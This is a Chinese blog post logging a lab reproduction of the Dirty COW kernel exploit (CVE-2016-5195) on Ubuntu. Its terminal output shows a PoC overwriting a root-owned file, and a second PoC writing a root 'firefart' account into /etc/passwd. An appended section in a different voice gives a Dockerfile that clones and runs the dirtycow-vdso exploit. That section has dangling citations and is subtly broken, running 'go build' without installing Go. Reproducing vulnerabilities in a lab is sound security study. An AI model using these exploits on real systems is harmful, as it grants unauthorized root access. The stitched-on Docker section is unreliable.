复现dirtycow——CVE-2016-5195

又来复习了一下dirtycow,于是从我的U盘里载入了一个新的ubuntu-14.04-server,我想一定不要upgrade,不然就没有漏洞环境了。
然后我把ubuntu-14.04-server装好在我Mac里的VMWare之后,由于想要得到PoC的可执行文件,必须先用gcc对其进行编译,然而默认ubuntu最开始是没有gcc的,而且我想sudo apt-get install gcc也发现找不到包,,我突然蒙逼了。。。。然后最后网上搜答案才发现自己忘记sudo apt-get update了,导致出现了找不到gcc的错误(然后我不update,依然可以install vim…)。
复现过程如下:

cqq@ubuntu:~/repos/dirtycow$ ls
info.txt  pokemon.c
cqq@ubuntu:~/repos/dirtycow$ gcc -pthread pokemon.c -o pokemon
cqq@ubuntu:~/repos/dirtycow$ ls
info.txt  pokemon  pokemon.c
cqq@ubuntu:~/repos/dirtycow$ ls -al info.txt
ls: 初始化月份字符串出错
-rw-r--r-- 1 root root 9  3�� 10 20:45 info.txt
cqq@ubuntu:~/repos/dirtycow$ cat info.txt
i_am_cqq
cqq@ubuntu:~/repos/dirtycow$ ./pokemon info.txt you_are_hacked
info.txt
   (___)
   (o o)_____/
    @@ `     \
     \ ____, /you_are_hacked
     //    //
    ^^    ^^
mmap 7f4f276dd000

madvise 0

ptrace 0

cqq@ubuntu:~/repos/dirtycow$ cat info.txt
you_are_hcqq@ubuntu:~/repos/dirtycow$
cqq@ubuntu:~/repos/dirtycow$

据说加入-pthread选项是为了

可见编译选项中指定 -pthread 会附加一个宏定义 -D_REENTRANT ,该宏会导致 libc 头文件选择那些thread-safe的实现

原来是这样
http://chaoslawful.iteye.com/blog/568602

然后,当我sudo apt-get dist-upgrade之后,再运行PoC(这个PoC是可以直接修改root密码的!!!),则当前ssh连接断开!!!

cqq@ubuntu:~$ vi /etc/passwd
cqq@ubuntu:~$ cd ~/repos/dirty
cqq@ubuntu:~/repos/dirty$ ./dirty mypasswd
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: mypasswd
Complete line:
firefart:fii1PApS9Jm5Y:0:0:pwned:/root:/bin/bash

mmap: 7f2c458dc000
packet_write_wait: Connection to 192.168.170.164 port 22: Broken pipe
➜  ~

算了,下次再弄一个新的ubuntu来测试吧。先看看struts2的漏洞。

### 复现CVE-2016-5195 Dirty COW漏洞的过程 为了在Docker环境中成功复现Dirty COW漏洞(CVE-2016-5195),环境准备至关重要。确保使用的操作系统内核版本存在此漏洞,通常较新的Linux发行版已经修复了这个问题[^2]。 创建适合的Docker镜像用于实验,基于`gebl/dirtycow-docker-vdso`项目中的Dockerfile可以构建一个合适的容器环境来重现这个漏洞[^3]。下面是一个简化后的Dockerfile示例: ```dockerfile FROM centos:7 RUN yum update -y && \ yum install -y gcc make git wget tar which strace WORKDIR /root/ RUN git clone https://github.com/scumjr/dirtycow-vdso.git WORKDIR /root/dirtycow-vdso ENV CGO_ENABLED=0 GOOS=linux GOARCH=amd64 RUN go build main.go CMD ["./main"] ``` 上述脚本会安装必要的依赖项并克隆包含PoC代码的仓库到容器内部,之后设置Go编译参数以交叉编译为目标平台,并最终执行编写的程序[^1]。 值得注意的是,在尝试运行任何潜在危险的代码之前,请务必确认所处环境的安全性和合法性;此外,由于安全更新的原因,某些旧版本软件可能不再容易获取或适用当前的操作系统版本。 关于具体操作命令如下所示: ```bash # 构建自定义镜像 $ docker build -t dirtycow-test . # 启动容器实例 $ docker run --rm -it dirtycow-test ``` 通过以上步骤可以在隔离环境下研究该漏洞的影响范围及其工作原理,但请注意仅限于合法授权的研究目的下进行此类活动。 #### 安全提示 考虑到实际应用中部署的服务应当及时打补丁防止被攻击者利用已知漏洞实施恶意行为,因此建议定期检查官方发布的安全公告并尽快升级至最新稳定版本。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值